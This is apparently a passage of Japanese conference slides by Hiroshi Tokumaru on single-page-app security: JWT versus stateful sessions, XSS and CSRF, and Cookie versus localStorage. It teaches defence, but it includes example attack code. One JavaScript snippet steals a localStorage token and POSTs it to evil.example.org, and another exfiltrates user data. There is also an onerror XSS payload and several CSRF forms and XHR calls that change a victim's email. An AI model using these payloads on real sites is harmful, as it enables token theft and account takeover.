  74. ケーススタディ:ChatWork © 2021 Hiroshi Tokumaru 74
  75. JWT形式を採用したChatWorkのアクセストークンについて 実は、ChatWorkのOAuth2で払い出されるアクセストークンはJWT形式を採用してい ます。話題になっている懸念点を考慮した上で、どのような仕様になっているか簡 単に解説したいと思います。 まず、チャットワークAPIドキュメントの「3.アクセストークンの発行/再発行」のセ クションにある、tokenエンドポイントのレスポンス形式をみてください。アクセス トークン(有効期限は30分間)は、ピリオドでつながるBASE64形式(url-safe)になって います。リフレッシュトークン(有効期間はデフォルト時は14日間。offline_access時 は認可が失効されるまで)はセキュアランダムで生成した文字列になっています。ア クセストークンのメタデータはJWT内部に含まれています。また、リフレッシュトー クンはトークンIDのみで、トークンIDに紐付く認可状態はサーバ側で管理されてい ます。 https://creators-note.chatwork.com/entry/2018/09/25/132218 より引用 75
  76. JWT形式を採用したChatWorkのアクセストークンについて ChatWorkでは、なぜJWT形式を選んだか?その理由は以下です 1. サーバ側でメタデータを管理するストレージの運用コスト削減のため 2. マイクロサービスが増えた場合に、リソースサーバ単体での認可を実装しやすい 今のところ、大きな理由は1番ですね。 とはいえ、サーバ側で状態管理しないことに よるデメリットもあります。それをどうカバーしたか、もしくは仕様として対象外 としたかを説明します。 76 https://creators-note.chatwork.com/entry/2018/09/25/132218 より引用
  77. JWT形式を採用したChatWorkのアクセストークンについて Assertion形式のJWTの場合はサーバに状態がないので、トークンの失効が即時にで きません。なので、できるだけ有効期間を短くした方がよいです。また、漏れたア クセストークンは有効期間の間は失効できません。そのアクセストークンの生存期 間中の二次被害を防止するには、認可サーバでの当該認可の破棄、リソースサーバ での利用権限の一次停止などの別の仕組みを検討する必要があるでしょう。 しかし、サーバに状態があるArtifact形式だからといって、即座に失効できるとは限 らないと考えます。当該認可の破棄、漏洩したトークンの確認、API権限の一時停止、 分散キャッシュ上からトークンIDを特定・削除の実行などのワークフローを社内で 実行するには30分ぐらいは掛かると考えました。 77 https://creators-note.chatwork.com/entry/2018/09/25/132218 より引用
  78. JWT形式を採用したChatWorkのアクセストークンについて ChatWorkのアクセストークンも期限が30分と比較的短い時間に設定しています。仮 に、アクセストークンが漏洩した場合は、当該認可の破棄、対象のユーザのAPI機能 を一次停止するなどの対応を取るものの、漏洩したトークンが利用できなくなるま で(30分間)待つことになります。もちろん、漏洩した根本原因に対しては恒久対策す べきですが、応急対策としてはこのようになると想定しています。というわけで、 我々は、Assertionでも実運用に耐えられると判断し、JWT形式のアクセストークン を選択しました。 Assertion形式を採用する場合は、この運用ポリシーを許容できなければなりません。 まず設計の最初でこれを確認しておきましょう*4。 *4: どうしても有効期限内に失効したい場合は、ブラックリストを返すAPIを提供し てリソースサーバから利用することになりますが、結局サーバ側に状態を持つこと になるため、Assertion形式する良さはあまり感じられなくなりますね 78 https://creators-note.chatwork.com/entry/2018/09/25/132218 より引用 セッション管理の仕組 みを検討する際は、こ のような脅威分析を行 いましょう
  79. ステートレス vs ステートフル • ステートレスなトークン – JWT等 – 認証サーバー等に問い合わせることなく認証の確認ができる – スケールアウトが極めて容易 – 即時ログアウトはできない • ステートフルなトークンやセッションID – PHPのデフォルトセッション(PHPSESSID)やSanctumのトークン – セッションの中身はファイル(PHP)やデータベース、REDIS等にある – スケールアウト時にはデータベース等を共有する必要がある – セッションDBがスケールのボトルネックになりやすい • どちらを選ぶかは、セキュリティ要件しだい – パスワード変更後の即時ログアウトが必須要件かがよい判断材料となる © 2021 Hiroshi Tokumaru 79
  80. SPAにまつわる脆弱性 © 2021 Hiroshi Tokumaru 80
  81. SPAのXSS © 2021 Hiroshi Tokumaru 81
  82. SPAとXSS • SPAのクロスサイトスクリプティング(XSS)は、ウェブコンテンツ側の XSSと、API側XSSがある • ウェブコンテンツ側のXSSは主にJavaScriptのXSS(DOM Based XSS) • API側のXSSはサーバー側のJSON生成時の問題が主 • どちらも徳丸本2版にて説明しています – 4.16 APIのセキュリティ – 4.17 JavaScriptのセキュリティ © 2021 Hiroshi Tokumaru 82
  83. DOM Based XSSの例: AJAXのURL未検証によるXSS <template> <section> <nuxt-link to="/menu/menu_a.html">A</nuxt-link> <nuxt-link to="/menu/menu_b.html">B</nuxt-link> <nuxt-link to="/menu/menu_c.html">C</nuxt-link> <nuxt-link to="/menu/menu_d.html">D</nuxt-link> <p v-html="post"></p> </section> </template> <script> export default { data() { return { post: '' } }, async mounted() { let url = this.$route.params.url if (! url) url = 'menu_a.html' const response = await this.$axios.get(url) this.post = response.data } } </script> © 2021 Hiroshi Tokumaru 83 v-htmlはHTMLエスケー プなしで表示する機能 メニューA<br> <img src="/img_a.png"> menu_a.html
  84. AJAXのURL未検証によるXSS(正常系) © 2021 Hiroshi Tokumaru 84 Webサーバー https://www.example.com/menu/menu_a.html Content-Type: text/html メニューA<br> <img src="/img_a.png"> コンテンツをAJAXで要求して、 返ったHTMLを v-html でそのまま (エスケープ無しで)表示する let url = this.$route.params.url const response = await this.$axios.get(url) GET /menu_a.html <p v-html="post"></p>
  85. AJAXのURL未検証によるXSS(攻撃) © 2021 Hiroshi Tokumaru 85 攻撃用サイト https://evil.example.org/ Webサーバー https://www.example.com/menu/%2F%2Fevil.example.org Access-Control-Allow-Origin: * <img src=0 onerror=alert('XSS') let url = this.$route.params.url const response = await this.$axios.get(url) GET / <p v-html="post"></p> //evil.example.com
  86. AJAXのURL未検証によるXSS(攻撃) © 2021 Hiroshi Tokumaru 86 攻撃用サイト https://evil.example.org/ 攻撃用サイトにてCORS設定できるので、 CORS制約をくぐり抜けて攻撃が成立 Webサーバー https://www.example.com/menu/%2F%2Fevil.example.org Access-Control-Allow-Origin: * <img src=0 onerror=alert('XSS') let url = this.$route.params.url const response = await this.$axios.get(url) GET / <p v-html="post"></p> //evil.example.com www.example.comの内容 OK XSS
  87. APIとJavaScriptそれぞれXSSの可能性がある が、発生箇所によって脅威が変わる © 2021 Hiroshi Tokumaru 87
  88. WebサーバーにXSS脆弱性がある場合(localStorage) © 2021 Hiroshi Tokumaru 88 HTML localStorageに保存されたトークンを 盗み別のサイトに送信する 最も簡単なXSS攻撃となる const token = localStorage.getItem('token') const req = new XMLHttpRequest() req.open("POST", "https://evil.example.org/") req.send(token) Google Chrome Webサーバー https://www.example.com token eyJXXXXXXXXX https://www.example.com POST / HTTP/1.1 eyJXXXXXXXXXXXXXX 情報収集サイト https://evil.example.org
  89. WebサーバーにXSS脆弱性がある場合(Cookieによるセッション) © 2021 Hiroshi Tokumaru 89 APIサーバー https://api.example.com HTML 正規のWebサーバーからのリクエス トなのでCORS設定は許可されており、 あらゆるAPI呼び出しが可能 { "email": "alice@example.jp", "tel": "03-1290-5678" } Google Chrome Webサーバー https://www.example.com const req = new XMLHttpRequest() req.open("GET", "https://api.example.com/api") req.withCredentials = true Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: http://www.example.org PHPSESSID=FD8A6FE…; domain=api.example.com
  90. APIサーバーにXSS脆弱性がある場合(localStorage使用) © 2021 Hiroshi Tokumaru 90 APIサーバー https://api.example.com HTML https://api.example.com オリジンからは IDトークンを格納したlocalStorageには アクセスできない const token = localStorage.getItem('token') Google Chrome CookieよりもlocalStorageの方が XSSに対して危険という記事を多く 見ますが、一概には言えません… token eyJXXXXXXXXX https://www.example.com 別オリジンの localStorageには アクセス不可
  91. APIサーバーにXSS脆弱性がある場合(Cookieによるセッション) © 2021 Hiroshi Tokumaru 91 APIサーバー https://api.example.com HTML APIサーバーのドメインにCookieが セットされていると、認証状態のリク エストが飛び、レスポンスも受け取れ る。同一オリジンなのでCORSは関係 ない let = new XMLHttpRequest() req.open("GET", "/api/user") { "email": "alice@example.jp", "tel": "03-1290-5678" } Google Chrome 情報収集サイト https://evil.example.org req.open("POST", "https://evil.example.com/") { "email": "alice@example.jp", "tel": "03-1290-5678" } PHPSESSID=FD8A6FE…; domain=api.example.com
  92. XSSの影響のまとめ XSSの発生箇所 CookieにセッションID・トークン リクエストヘッダにトークン Webサーバー 影響あり 影響あり(攻撃は容易) APIサーバー 影響あり 影響はない*1 © 2021 Hiroshi Tokumaru 92 • CookieはHttpOnly属性がある前提 • Cookieによるセッション管理の場合XSSの発生箇所によらず影響があるのは、 Cookieがブラウザにより自動送信されるため • 脆弱性診断ではHttpOnlyでないCookieの値をリクエストヘッダに入れる実装を 見かけるがお勧めしない (LaravelのCSRFトークンが該当するが、許容できる特殊ケース) (*1) ケースによっては影響がある場合があるかも
  93. SPAのXSS脆弱性の対策 • ウェブAPIの脆弱性は、Content-Type: application/json にしておけば基 本的に問題ない – だけど、text/htmlなAPIをしばしば見かける • JavaScriptのXSS(DOM Based XSS)は気をつけることが多い – エスケープしない表示に注意 • バニラJavaScript: innerHTML, outerHTML, document.write(), document.writeln() • React: dangerouslySetInnerHTML • Vue.js: v-html • jQuery: html() • evalインジェクション系 – eval(), setTimeout(), setInterval(), Functionコンストラクタ • 詳しくは徳丸本2版 4.16.3、4.16.4、4.17.1 を参照 © 2021 Hiroshi Tokumaru 93
  94. SPAのCSRF © 2021 Hiroshi Tokumaru 94
  95. SPAとCSRF • ウェブAPIでもCSRF攻撃は可能なのでSPAでも考慮する必要がある • ヘッダにトークンを入れている場合はCSRF脆弱性は混入しない – Cookieでセッション管理している場合のみ影響がある • フレームワークの機能で対策しておけば問題ない – …が、たまに手抜きをしてCSRF脆弱なサイトを見かける © 2021 Hiroshi Tokumaru 95
  96. XHRによるCSRF攻撃の様子 © 2021 Hiroshi Tokumaru 96 APIサーバー https://api.example.com HTML クッキーは飛び任意のリクエストが 送れるのでCSRF攻撃が成立する場合が あるので、クッキーによるセッション 管理はCSRFのリスクがある レスポンスは受け取れないが、CSRF攻 撃には支障がない 罠サイト https://evil.example.org const req = new XMLHttpRequest() req.open("POST", "https://api.example.com/mail") req.withCredentials = true req.send('{"mail": "cracked@example.com"}'); {"mail: "cracked@example.com"} レスポンスは受け取れない メールアドレスが変更される Access-Control-Allow-Credentials: trueがない
  97. ヘッダにトークンを付与する場合はCSRF攻撃はできない © 2021 Hiroshi Tokumaru 97 APIサーバー https://api.example.com HTML Authorization ヘッダをつけられ ないのでCSRF攻撃にならない 罠サイト https://evil.example.org const req = new XMLHttpRequest() req.open("POST", "https://api.example.com/api") req.setRequstHeader('Authorization', 'Bearer ') ??????????????? token eyJXXXXXXXXX https://www.example.com
  98. CSRF攻撃成立のハードルは結構ある • Cookieでセッション管理していること(必須要件) • HTTPメソッドはPOST(あるいはPUT、PATCH等) • CookieのSameSite属性がNoneあるいは指定なし • リクエストのContent-Type(application/json)をチェックしていない • CSRFトークンのチェックがない、不十分 • しかし、攻撃には全ての要件が必要なわけではない © 2021 Hiroshi Tokumaru 98
  99. GETリクエストによるCSRF攻撃の様子 © 2021 Hiroshi Tokumaru 99 APIサーバー https://api.example.com HTML • samesite=laxでもCookieは飛ぶので、 GETメソッドで更新ができれば攻撃 は刺さりやすい • routerの設定が変な場合のみ脆弱と なるが、脆弱性診断とは年に数回は 見つかる 罠サイト https://evil.example.org <form action="https://api.example.com/mail" METHOD="GET"> <input name="mail" value="cracked@example.com"> <input type="submit"> </form> GET /mail?mail=cracked@example.com メールアドレスが変更される
  100. HTMLフォーム(POST)によるCSRF攻撃の様子 © 2021 Hiroshi Tokumaru 100 APIサーバー https://api.example.com HTML • HTMLフォームなのでCORSの制約は 受けない • Laravelはform-urlencodedでも更新 処理を受け付ける • samesite=lax で防御可能 罠サイト https://evil.example.org <form action="https://api.example.com/mail" METHOD="POST"> <input name="mail" value="cracked@example.com"> <input type="submit"> </form> メールアドレスが変更される POST /mail Content-Type: application/x-www-form-urlencoded mail=cracked@example.com
  101. XHRによるCSRF攻撃(Content-Type指定なし)の様子 © 2021 Hiroshi Tokumaru 101 APIサーバー https://api.example.com HTML • Content-Typeを決め打ちにしている と発生するパターン • LaravelはContent-Typeで処理を変え るので、このパターンでは攻撃でき ない • samesite=lax で防御可能 罠サイト https://evil.example.org const req = new XMLHttpRequest() req.open("POST", "https://api.example.com/mail") req.withCredentials = true req.send('{"mail": "cracked@example.com"}'); Content-Type: text/plain {"mail: "cracked@example.com"} メールアドレスが変更される
  102. XHRによるCSRF攻撃(Content-Type指定あり)の様子 © 2021 Hiroshi Tokumaru 102 APIサーバー https://api.example.com HTML • 前述のようにLaravelのデフォルト設 定だとプリフライトリクエストは 通ってしまう • CSRF攻撃はレスポンスを受け取らな くてもよいのでAllow-Credentialsは 関係ない • Content-Typeが正しいのでその後の 処理も通る • samesite=lax で防御可能 罠サイト https://evil.example.org const req = new XMLHttpRequest() req.open("POST", "https://api.example.com/mail") req.withCredentials = true req.setRequestHeader("Content-Type", "application/json") req.send('{"mail": "cracked@example.com"}'); OPTIONS /api HTTP/1.1 Origin: https://evil.example.org Access-Control-Request-Headers: Content-Type Access-Control-Request-Method: POST HTTP/1.0 204 No Content Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST Access-Control-Allow-Headers: Content-Type
  103. CSRF対策は結局どうすればよいか? • CSRF攻撃が刺さる条件は複雑だが、その複雑さを理解できなくても防 御は可能 • 【重要】フレームワーク標準のCSRF対策機能を素直に使う • CORS設定はできるだけ明示する(とくにOriginは必須) • セッションIDクッキーにはsamesite=laxを設定する(デフォルト) © 2021 Hiroshi Tokumaru 103
  104. 結局 Cookie と localStorage のどちらがよいの? • 今まで説明したように、CookieとlocalStorageはどちらが安全とは言 えず一長一短 • 適材適所で使えば良い • WebサーバーとAPIサーバーが一体の場合は古典的なセッションを使 うのが比較的無難 – セッション管理に由来する脆弱性は枯れていて十分対策されているため • Sanctumトークンのようなステートフル・トークンが使えれば、セ キュリティ要件は満たしやすい • JWTのようなステートレス・トークンを使う場合は、そのリスクを検 討した上で、必要に応じてAPIゲートウェイ等を検討する © 2021 Hiroshi Tokumaru 104
  105. クロスドメインでCookieを使うのは非常に難易度が高い • モダンなブラウザでは、samesite=none; secure をつけないとクロスド メインのCookieをPOSTやXHRで使えない • 過去の特定バージョンのSafariは、バグにより samesite=noneを samesite=strictと見なす(バックポートされていない) – Auth0は同じ値で属性のみ違う2つのCookieをセットすることで対応 • ブラウザにとってサードパーティCookieとみなされるので、ブラウザ の制限が厳しくなる一方 • Cookieはクロスドメインで使わない方がよいと思います © 2021 Hiroshi Tokumaru 105 Set-Cookie: did=s%3Av0%3A0b71f550-略; HttpOnly; Secure; SameSite=None Set-Cookie: did_compat=s%3Av0%3A0b71f550-略; HttpOnly; Secure
  106. まとめ • SPAと言っても基本はMPAと変わりありません • なので、SPA開発する際にも徳丸本は役に立ちます! – 3.2 同一オリジンポリシー – 3.3 CORS – 4.16 Web API実装における脆弱性 – 4.17 JavaScriptの問題 – その他全部 • Cookie と localStorage の使い分けについて • ステートレスかステートフルか、それが問題だ • 苦しくてもCORSはちゃんと理解しましょう © 2021 Hiroshi Tokumaru 106
  107. 最後までご視聴いただきありがとうございます 質問・感想はDiscordにてお願いします © 2021 Hiroshi Tokumaru 107
Publicidad